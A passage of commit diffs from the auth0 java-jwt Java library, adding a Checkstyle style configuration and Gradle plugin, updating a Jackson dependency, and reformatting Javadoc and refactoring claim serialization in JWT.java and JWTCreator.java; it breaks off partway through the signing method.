+    Authors: Max Vetrenko, Ruslan Diachenko, Roman Ivanov.
+ -->
+
+<module name = "Checker">
+    <property name="charset" value="UTF-8"/>
+
+    <property name="severity" value="error"/>
+
+    <property name="fileExtensions" value="java, properties, xml"/>
+    <!-- Excludes all 'module-info.java' files              -->
+    <!-- See https://checkstyle.org/config_filefilters.html -->
+    <module name="BeforeExecutionExclusionFileFilter">
+        <property name="fileNamePattern" value="module\-info\.java$"/>
+    </module>
+    <!-- https://checkstyle.org/config_filters.html#SuppressionFilter -->
+    <module name="SuppressionFilter">
+        <property name="file" value="${org.checkstyle.google.suppressionfilter.config}"
+                  default="checkstyle-suppressions.xml" />
+        <property name="optional" value="true"/>
+    </module>
+
+    <!-- Checks for whitespace                               -->
+    <!-- See http://checkstyle.org/config_whitespace.html -->
+    <module name="FileTabCharacter">
+        <property name="eachLine" value="true"/>
+    </module>
+
+    <module name="LineLength">
+        <property name="fileExtensions" value="java"/>
+        <property name="max" value="120"/>
+        <property name="ignorePattern" value="^package.*|^import.*|a href|href|http://|https://|ftp://"/>
+    </module>
+
+    <module name="TreeWalker">
+        <module name="OuterTypeFilename"/>
+        <module name="IllegalTokenText">
+            <property name="tokens" value="STRING_LITERAL, CHAR_LITERAL"/>
+            <property name="format"
+                      value="\\u00(09|0(a|A)|0(c|C)|0(d|D)|22|27|5(C|c))|\\(0(10|11|12|14|15|42|47)|134)"/>
+            <property name="message"
+                      value="Consider using special escape sequence instead of octal value or Unicode escaped value."/>
+        </module>
+        <module name="Regexp">
+            <!-- . matches any character, so we need to escape it and use \. to match dots. -->
+            <property name="format" value="System\.out\.println"/>
+            <property name="illegalPattern" value="true"/>
+            <property name="message" value="Use of System.out.println is not allowed"/>
+        </module>
+        <module name="AvoidEscapedUnicodeCharacters">
+            <property name="allowEscapesForControlCharacters" value="true"/>
+            <property name="allowByTailComment" value="true"/>
+            <property name="allowNonPrintableEscapes" value="true"/>
+        </module>
+        <module name="OneTopLevelClass"/>
+        <module name="NoLineWrap">
+            <property name="tokens" value="PACKAGE_DEF, IMPORT, STATIC_IMPORT"/>
+        </module>
+        <module name="EmptyBlock">
+            <property name="option" value="TEXT"/>
+            <property name="tokens"
+                      value="LITERAL_TRY, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE, LITERAL_SWITCH"/>
+        </module>
+        <module name="NeedBraces">
+            <property name="tokens"
+                      value="LITERAL_DO, LITERAL_ELSE, LITERAL_FOR, LITERAL_IF, LITERAL_WHILE"/>
+        </module>
+        <module name="LeftCurly">
+            <property name="tokens"
+                      value="ANNOTATION_DEF, CLASS_DEF, CTOR_DEF, ENUM_CONSTANT_DEF, ENUM_DEF,
+                    INTERFACE_DEF, LAMBDA, LITERAL_CASE, LITERAL_CATCH, LITERAL_DEFAULT,
+                    LITERAL_DO, LITERAL_ELSE, LITERAL_FINALLY, LITERAL_FOR, LITERAL_IF,
+                    LITERAL_SWITCH, LITERAL_SYNCHRONIZED, LITERAL_TRY, LITERAL_WHILE, METHOD_DEF,
+                    OBJBLOCK, STATIC_INIT, RECORD_DEF, COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="RightCurly">
+            <property name="id" value="RightCurlySame"/>
+            <property name="tokens"
+                      value="LITERAL_TRY, LITERAL_CATCH, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE,
+                    LITERAL_DO"/>
+        </module>
+        <module name="RightCurly">
+            <property name="id" value="RightCurlyAlone"/>
+            <property name="option" value="alone"/>
+            <property name="tokens"
+                      value="CLASS_DEF, METHOD_DEF, CTOR_DEF, LITERAL_FOR, LITERAL_WHILE, STATIC_INIT,
+                    INSTANCE_INIT, ANNOTATION_DEF, ENUM_DEF, INTERFACE_DEF, RECORD_DEF,
+                    COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="SuppressionXpathSingleFilter">
+            <!-- suppresion is required till https://github.com/checkstyle/checkstyle/issues/7541 -->
+            <property name="id" value="RightCurlyAlone"/>
+            <property name="query" value="//RCURLY[parent::SLIST[count(./*)=1]
+                                     or preceding-sibling::*[last()][self::LCURLY]]"/>
+        </module>
+        <module name="WhitespaceAfter">
+            <property name="tokens"
+                      value="COMMA, SEMI, TYPECAST, LITERAL_IF, LITERAL_ELSE,
+                    LITERAL_WHILE, LITERAL_DO, LITERAL_FOR, DO_WHILE, ELLIPSIS,
+                    LITERAL_SWITCH, LAMBDA"/>
+        </module>
+        <module name="WhitespaceAround">
+            <property name="allowEmptyConstructors" value="true"/>
+            <property name="allowEmptyLambdas" value="true"/>
+            <property name="allowEmptyMethods" value="true"/>
+            <property name="allowEmptyTypes" value="true"/>
+            <property name="allowEmptyLoops" value="true"/>
+            <property name="ignoreEnhancedForColon" value="false"/>
+            <property name="tokens"
+                      value="ASSIGN, BAND, BAND_ASSIGN, BOR, BOR_ASSIGN, BSR, BSR_ASSIGN, BXOR,
+                    BXOR_ASSIGN, COLON, DIV, DIV_ASSIGN, DO_WHILE, EQUAL, GE, GT, LAMBDA, LAND,
+                    LCURLY, LE, LITERAL_CATCH, LITERAL_DO, LITERAL_ELSE, LITERAL_FINALLY,
+                    LITERAL_FOR, LITERAL_IF, LITERAL_RETURN, LITERAL_SWITCH, LITERAL_SYNCHRONIZED,
+                    LITERAL_TRY, LITERAL_WHILE, LOR, LT, MINUS, MINUS_ASSIGN, MOD, MOD_ASSIGN,
+                    NOT_EQUAL, PLUS, PLUS_ASSIGN, QUESTION, RCURLY, SL, SLIST, SL_ASSIGN, SR,
+                    SR_ASSIGN, STAR, STAR_ASSIGN, LITERAL_ASSERT, TYPE_EXTENSION_AND"/>
+            <message key="ws.notFollowed"
+                     value="WhitespaceAround: ''{0}'' is not followed by whitespace. Empty blocks may only be represented as '{}' when not part of a multi-block statement (4.1.3)"/>
+            <message key="ws.notPreceded"
+                     value="WhitespaceAround: ''{0}'' is not preceded with whitespace."/>
+        </module>
+        <module name="OneStatementPerLine"/>
+        <module name="MultipleVariableDeclarations"/>
+        <module name="ArrayTypeStyle"/>
+        <module name="MissingSwitchDefault"/>
+        <module name="FallThrough"/>
+        <module name="UpperEll"/>
+        <module name="ModifierOrder"/>
+        <module name="EmptyLineSeparator">
+            <property name="tokens"
+                      value="PACKAGE_DEF, IMPORT, STATIC_IMPORT, CLASS_DEF, INTERFACE_DEF, ENUM_DEF,
+                    STATIC_INIT, INSTANCE_INIT, METHOD_DEF, CTOR_DEF, VARIABLE_DEF, RECORD_DEF,
+                    COMPACT_CTOR_DEF"/>
+            <property name="allowNoEmptyLineBetweenFields" value="true"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapDot"/>
+            <property name="tokens" value="DOT"/>
+            <property name="option" value="nl"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapComma"/>
+            <property name="tokens" value="COMMA"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <!-- ELLIPSIS is EOL until https://github.com/google/styleguide/issues/259 -->
+            <property name="id" value="SeparatorWrapEllipsis"/>
+            <property name="tokens" value="ELLIPSIS"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <!-- ARRAY_DECLARATOR is EOL until https://github.com/google/styleguide/issues/258 -->
+            <property name="id" value="SeparatorWrapArrayDeclarator"/>
+            <property name="tokens" value="ARRAY_DECLARATOR"/>
+            <property name="option" value="EOL"/>
+        </module>
+        <module name="SeparatorWrap">
+            <property name="id" value="SeparatorWrapMethodRef"/>
+            <property name="tokens" value="METHOD_REF"/>
+            <property name="option" value="nl"/>
+        </module>
+        <module name="PackageName">
+            <property name="format" value="^[a-z]+(\.[a-z][a-z0-9]*)*$"/>
+            <message key="name.invalidPattern"
+                     value="Package name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="TypeName">
+            <property name="tokens" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF,
+                    ANNOTATION_DEF, RECORD_DEF"/>
+            <message key="name.invalidPattern"
+                     value="Type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="MemberName">
+            <property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9]*$"/>
+            <message key="name.invalidPattern"
+                     value="Member name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="ParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="LambdaParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Lambda parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="CatchParameterName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Catch parameter name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="LocalVariableName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Local variable name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="PatternVariableName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Pattern variable name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="ClassTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Class type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="RecordComponentName">
+            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <message key="name.invalidPattern"
+                     value="Record component name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="RecordTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Record type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="MethodTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Method type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="InterfaceTypeParameterName">
+            <property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
+            <message key="name.invalidPattern"
+                     value="Interface type name ''{0}'' must match pattern ''{1}''."/>
+        </module>
+        <module name="NoFinalizer"/>
+        <module name="GenericWhitespace">
+            <message key="ws.followed"
+                     value="GenericWhitespace ''{0}'' is followed by whitespace."/>
+            <message key="ws.preceded"
+                     value="GenericWhitespace ''{0}'' is preceded with whitespace."/>
+            <message key="ws.illegalFollow"
+                     value="GenericWhitespace ''{0}'' should followed by whitespace."/>
+            <message key="ws.notPreceded"
+                     value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
+        </module>
+        <module name="Indentation">
+            <property name="basicOffset" value="4"/>
+            <property name="braceAdjustment" value="2"/>
+            <property name="caseIndent" value="4"/>
+            <property name="throwsIndent" value="4"/>
+            <property name="lineWrappingIndentation" value="4"/>
+            <property name="arrayInitIndent" value="2"/>
+        </module>
+        <module name="AbbreviationAsWordInName">
+            <property name="ignoreFinal" value="false"/>
+            <property name="allowedAbbreviationLength" value="5"/>
+            <property name="tokens"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, ANNOTATION_DEF, ANNOTATION_FIELD_DEF,
+                    PARAMETER_DEF, VARIABLE_DEF, METHOD_DEF, PATTERN_VARIABLE_DEF, RECORD_DEF,
+                    RECORD_COMPONENT_DEF"/>
+        </module>
+        <module name="NoWhitespaceBeforeCaseDefaultColon"/>
+        <module name="OverloadMethodsDeclarationOrder"/>
+        <module name="VariableDeclarationUsageDistance"/>
+        <module name="MethodParamPad">
+            <property name="tokens"
+                      value="CTOR_DEF, LITERAL_NEW, METHOD_CALL, METHOD_DEF,
+                    SUPER_CTOR_CALL, ENUM_CONSTANT_DEF, RECORD_DEF"/>
+        </module>
+        <module name="NoWhitespaceBefore">
+            <property name="tokens"
+                      value="COMMA, SEMI, POST_INC, POST_DEC, DOT,
+                    LABELED_STAT, METHOD_REF"/>
+            <property name="allowLineBreaks" value="true"/>
+        </module>
+        <module name="ParenPad">
+            <property name="tokens"
+                      value="ANNOTATION, ANNOTATION_FIELD_DEF, CTOR_CALL, CTOR_DEF, DOT, ENUM_CONSTANT_DEF,
+                    EXPR, LITERAL_CATCH, LITERAL_DO, LITERAL_FOR, LITERAL_IF, LITERAL_NEW,
+                    LITERAL_SWITCH, LITERAL_SYNCHRONIZED, LITERAL_WHILE, METHOD_CALL,
+                    METHOD_DEF, QUESTION, RESOURCE_SPECIFICATION, SUPER_CTOR_CALL, LAMBDA,
+                    RECORD_DEF"/>
+        </module>
+        <module name="OperatorWrap">
+            <property name="option" value="NL"/>
+            <property name="tokens"
+                      value="BAND, BOR, BSR, BXOR, DIV, EQUAL, GE, GT, LAND, LE, LITERAL_INSTANCEOF, LOR,
+                    LT, MINUS, MOD, NOT_EQUAL, PLUS, QUESTION, SL, SR, STAR, METHOD_REF,
+                    TYPE_EXTENSION_AND "/>
+        </module>
+        <module name="AnnotationLocation">
+            <property name="id" value="AnnotationLocationMostCases"/>
+            <property name="tokens"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF,
+                      RECORD_DEF, COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="AnnotationLocation">
+            <property name="id" value="AnnotationLocationVariables"/>
+            <property name="tokens" value="VARIABLE_DEF"/>
+            <property name="allowSamelineMultipleAnnotations" value="true"/>
+        </module>
+        <module name="NonEmptyAtclauseDescription"/>
+        <module name="InvalidJavadocPosition"/>
+        <module name="JavadocTagContinuationIndentation"/>
+        <module name="SummaryJavadoc">
+            <property name="forbiddenSummaryFragments"
+                      value="^@return the *|^This method returns |^A [{]@code [a-zA-Z0-9]+[}]( is a )"/>
+        </module>
+        <module name="RequireEmptyLineBeforeBlockTagGroup"/>
+        <module name="AtclauseOrder">
+            <property name="tagOrder" value="@param, @return, @throws, @deprecated"/>
+            <property name="target"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF, VARIABLE_DEF"/>
+        </module>
+        <module name="JavadocMethod">
+            <property name="accessModifiers" value="public"/>
+            <property name="allowMissingParamTags" value="true"/>
+            <property name="allowMissingReturnTag" value="true"/>
+            <property name="allowedAnnotations" value="Override, Test"/>
+            <property name="tokens" value="METHOD_DEF, CTOR_DEF, ANNOTATION_FIELD_DEF, COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="MissingJavadocMethod">
+            <property name="scope" value="public"/>
+            <property name="minLineCount" value="2"/>
+            <property name="allowedAnnotations" value="Override, Test"/>
+            <property name="tokens" value="METHOD_DEF, CTOR_DEF, ANNOTATION_FIELD_DEF,
+                                   COMPACT_CTOR_DEF"/>
+        </module>
+        <module name="MissingJavadocType">
+            <property name="scope" value="protected"/>
+            <property name="tokens"
+                      value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF,
+                      RECORD_DEF, ANNOTATION_DEF"/>
+            <property name="excludeScope" value="nothing"/>
+        </module>
+        <module name="SingleLineJavadoc"/>
+        <module name="EmptyCatchBlock">
+            <property name="exceptionVariableName" value="expected"/>
+        </module>
+        <module name="CommentsIndentation">
+            <property name="tokens" value="SINGLE_LINE_COMMENT, BLOCK_COMMENT_BEGIN"/>
+        </module>
+        <!-- https://checkstyle.org/config_filters.html#SuppressionXpathFilter -->
+        <module name="SuppressionXpathFilter">
+            <property name="file" value="${org.checkstyle.google.suppressionxpathfilter.config}"
+                      default="checkstyle-xpath-suppressions.xml" />
+            <property name="optional" value="true"/>
+        </module>
+    </module>
+</module>
\ No newline at end of fileu}(j7  (001963bdb2effd8b3776c34f354728cd201971b7j7  lib/build.gradlej7  modifiedj7  Kj7  Kj7  Kj7  bhttps://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fbuild.gradlej 8  ahttps://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fbuild.gradlej8  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -2,6 +2,12 @@ plugins {
     id 'java'
     id 'jacoco'
     id 'com.auth0.gradle.oss-library.java'
+    id 'checkstyle'
+}
+
+checkstyle {
+    toolVersion '10.0'
+    checkstyleTest.enabled = false //We are disabling lint checks for tests
 }
 
 logger.lifecycle("Using version ${version} for ${group}.${name}")
@@ -47,7 +53,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.12.6'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2'
 
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
     testImplementation 'junit:junit:4.13.2'
@@ -114,19 +120,6 @@ def testJava17 = tasks.register('testJava17', Test) {
         languageVersion = JavaLanguageVersion.of(17)
     })
     shouldRunAfter(tasks.named('test'))
-
-    //Following Tests are excluded in Java 17 since secp256k1 curve is disabled Java 15+
-    filter {
-        excludeTestsMatching "*.jwt.ConcurrentVerifyTest.shouldPassECDSA256KVerificationWithJOSESignature"
-        excludeTestsMatching "*.jwt.JWTCreatorTest.shouldAddKeyIdIfAvailableFromECDSAKAlgorithms"
-        excludeTestsMatching "*.jwt.JWTCreatorTest.shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms"
-        excludeTestsMatching "*.jwt.JWTTest.shouldCreateAnEmptyECDSA256KSignedToken"
-        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignature"
-        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys"
-        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithProvidedPublicKey"
-        excludeTestsMatching "*.jwt.ECDSABouncyCastleProviderTests.shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys"
-        excludeTestsMatching "*.jwt.ECDSABouncyCastleProviderTests.shouldPassECDSA256KVerificationWithProvidedPublicKey"
-    }
 }
 
 tasks.named('check') {u}(j7  (9d719d1e5e89287b471e171c0c708188d3dd743cj7  (lib/src/main/java/com/auth0/jwt/JWT.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X	  @@ -6,6 +6,9 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 
+/**
+ * Exposes all the JWT functionalities.
+ */
 @SuppressWarnings("WeakerAccess")
 public class JWT {
 
@@ -22,11 +25,13 @@ public JWT() {
     /**
      * Decode a given Json Web Token.
      * <p>
-     * Note that this method <b>doesn't verify the token's signature!</b> Use it only if you trust the token or you already verified it.
+     * Note that this method <b>doesn't verify the token's signature!</b>
+     * Use it only if you trust the token or you already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
-     * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
+     * @throws JWTDecodeException if any part of the token contained an invalid jwt
+     *                            or JSON format of each of the jwt parts.
      */
     public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
         return new JWTDecoder(parser, token);
@@ -35,11 +40,13 @@ public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
     /**
      * Decode a given Json Web Token.
      * <p>
-     * Note that this method <b>doesn't verify the token's signature!</b> Use it only if you trust the token or you already verified it.
+     * Note that this method <b>doesn't verify the token's signature!</b>
+     * Use it only if you trust the token or you already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
-     * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
+     * @throws JWTDecodeException if any part of the token contained an invalid jwt
+     *                            or JSON format of each of the jwt parts.
      */
     public static DecodedJWT decode(String token) throws JWTDecodeException {
         return new JWTDecoder(token);
@@ -57,7 +64,7 @@ public static Verification require(Algorithm algorithm) {
     }
 
     /**
-     * Returns a Json Web Token builder used to create and sign tokens
+     * Returns a Json Web Token builder used to create and sign tokens.
      *
      * @return a token builder.
      */u}(j7  (6b355b36346b19ec6ba791b3f49947ba9b1a57d7j7  /lib/src/main/java/com/auth0/jwt/JWTCreator.javaj7  modifiedj7  KHj7  K=j7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  XE,  @@ -3,9 +3,7 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.exceptions.JWTCreationException;
 import com.auth0.jwt.exceptions.SignatureGenerationException;
-import com.auth0.jwt.impl.ClaimsHolder;
-import com.auth0.jwt.impl.PayloadSerializer;
-import com.auth0.jwt.impl.PublicClaims;
+import com.auth0.jwt.impl.*;
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.MapperFeature;
 import com.fasterxml.jackson.databind.ObjectMapper;
@@ -17,7 +15,8 @@
 import java.util.Map.Entry;
 
 /**
- * The JWTCreator class holds the sign method to generate a complete JWT (with Signature) from a given Header and Payload content.
+ * The JWTCreator class holds the sign method to generate a complete JWT (with Signature)
+ * from a given Header and Payload content.
  * <p>
  * This class is thread-safe.
  */
@@ -34,16 +33,18 @@ public final class JWTCreator {
     static {
         mapper = new ObjectMapper();
         module = new SimpleModule();
-        module.addSerializer(ClaimsHolder.class, new PayloadSerializer());
+        module.addSerializer(PayloadClaimsHolder.class, new PayloadSerializer());
+        module.addSerializer(HeaderClaimsHolder.class, new HeaderSerializer());
         mapper.registerModule(module);
         mapper.configure(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY, true);
     }
 
-    private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims) throws JWTCreationException {
+    private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims)
+            throws JWTCreationException {
         this.algorithm = algorithm;
         try {
-            headerJson = mapper.writeValueAsString(headerClaims);
-            payloadJson = mapper.writeValueAsString(new ClaimsHolder(payloadClaims));
+            headerJson = mapper.writeValueAsString(new HeaderClaimsHolder(headerClaims));
+            payloadJson = mapper.writeValueAsString(new PayloadClaimsHolder(payloadClaims));
         } catch (JsonProcessingException e) {
             throw new JWTCreationException("Some of the Claims couldn't be converted to a valid JSON format.", e);
         }
@@ -97,7 +98,8 @@ public Builder withHeader(Map<String, Object> headerClaims) {
 
         /**
          * Add a specific Key Id ("kid") claim to the Header.
-         * If the {@link Algorithm} used to sign this token was instantiated with a KeyProvider, the 'kid' value will be taken from that provider and this one will be ignored.
+         * If the {@link Algorithm} used to sign this token was instantiated with a KeyProvider,
+         * the 'kid' value will be taken from that provider and this one will be ignored.
          *
          * @param keyId the Key Id value.
          * @return this same Builder instance.
@@ -323,48 +325,6 @@ public Builder withClaim(String name, Instant value) throws IllegalArgumentExcep
             return this;
         }
 
-        /**
-         * Add a custom Array Claim with the given items.
-         *
-         * @param name  the Claim's name.
-         * @param items the Claim's value.
-         * @return this same Builder instance.
-         * @throws IllegalArgumentException if the name is null.
-         */
-        public Builder withArrayClaim(String name, String[] items) throws IllegalArgumentException {
-            assertNonNull(name);
-            addClaim(name, items);
-            return this;
-        }
-
-        /**
-         * Add a custom Array Claim with the given items.
-         *
-         * @param name  the Claim's name.
-         * @param items the Claim's value.
-         * @return this same Builder instance.
-         * @throws IllegalArgumentException if the name is null.
-         */
-        public Builder withArrayClaim(String name, Integer[] items) throws IllegalArgumentException {
-            assertNonNull(name);
-            addClaim(name, items);
-            return this;
-        }
-
-        /**
-         * Add a custom Array Claim with the given items.
-         *
-         * @param name  the Claim's name.
-         * @param items the Claim's value.
-         * @return this same Builder instance.
-         * @throws IllegalArgumentException if the name is null
-         */
-        public Builder withArrayClaim(String name, Long[] items) throws IllegalArgumentException {
-            assertNonNull(name);
-            addClaim(name, items);
-            return this;
-        }
-
         /**
          * Add a custom Map Claim with the given items.
          * <p>
@@ -382,7 +342,8 @@ public Builder withClaim(String name, Map<String, ?> map) throws IllegalArgument
             assertNonNull(name);
             // validate map contents
             if (map != null && !validateClaim(map)) {
-                throw new IllegalArgumentException("Expected map containing Map, List, Boolean, Integer, Long, Double, String and Date");
+                throw new IllegalArgumentException("Expected map containing Map, List, Boolean, Integer, "
+                        + "Long, Double, String and Date");
             }
             addClaim(name, map);
             return this;
@@ -406,12 +367,55 @@ public Builder withClaim(String name, List<?> list) throws IllegalArgumentExcept
             assertNonNull(name);
             // validate list contents
             if (list != null && !validateClaim(list)) {
-                throw new IllegalArgumentException("Expected list containing Map, List, Boolean, Integer, Long, Double, String and Date");
+                throw new IllegalArgumentException("Expected list containing Map, List, Boolean, Integer, "
+                        + "Long, Double, String and Date");
             }
             addClaim(name, list);
             return this;
         }
 
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withArrayClaim(String name, String[] items) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, items);
+            return this;
+        }
+
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withArrayClaim(String name, Integer[] items) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, items);
+            return this;
+        }
+
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null
+         */
+        public Builder withArrayClaim(String name, Long[] items) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, items);
+            return this;
+        }
+
         /**
          * Add specific Claims to set as the Payload. If the provided map is null then
          * nothing is changed.
@@ -427,16 +431,18 @@ public Builder withClaim(String name, List<?> list) throws IllegalArgumentExcept
          * </p>
          *
          * @param payloadClaims the values to use as Claims in the token's payload.
-         * @throws IllegalArgumentException if any of the claim keys or null, or if the values are not of a supported type.
          * @return this same Builder instance.
+         * @throws IllegalArgumentException if any of the claim keys or null,
+         *                                  or if the values are not of a supported type.
          */
         public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentException {
             if (payloadClaims == null) {
                 return this;
             }
 
             if (!validatePayload(payloadClaims)) {
-                throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String and Date");
+                throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, "
+                        + "Long, Double, String and Date");
             }
 
             // add claims only after validating all claims so as not to corrupt the claims map of this builder
@@ -505,16 +511,18 @@ private static boolean isBasicType(Object value) {
             if (c.isArray()) {
                 return c == Integer[].class || c == Long[].class || c == String[].class;
             }
-            return c == String.class || c == Integer.class || c == Long.class || c == Double.class || c == Date.class || c == Instant.class || c == Boolean.class;
+            return c == String.class || c == Integer.class || c == Long.class || c == Double.class
+                    || c == Date.class || c == Instant.class || c == Boolean.class;
         }
 
         /**
-         * Creates a new JWT and signs is with the given algorithm
+         * Creates a new JWT and signs is with the given algorithm.
          *
          * @param algorithm used to sign the JWT
          * @return a new JWT token
          * @throws IllegalArgumentException if the provided algorithm is null.
-         * @throws JWTCreationException     if the claims could not be converted to a valid JSON or there was a problem with the signing key.
+         * @throws JWTCreationException     if the claims could not be converted to a valid JSON
+         *                                  or there was a problem with the signing key.
          */
         public String sign(Algorithm algorithm) throws IllegalArgumentException, JWTCreationException {
             if (algorithm == null) {
@@ -547,10 +555,13 @@ private void addClaim(String name, Object value) {
     }
 
     private String sign() throws SignatureGenerationException {
-        String header = Base64.getUrlEncoder().withoutPadding().encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));
-        String payload = Base64.getUrlEncoder().withoutPadding().encodeToString(payloadJson.getBytes(StandardCharsets.UTF_8));
+        String header = Base64.getUrlEncoder().withoutPadding()
+                .encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));
+        String payload = Base64.getUrlEncoder().withoutPadding()
+                .encodeToString(payloadJson.getBytes(StandardCharsets.UTF_8));
 
-        byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8));
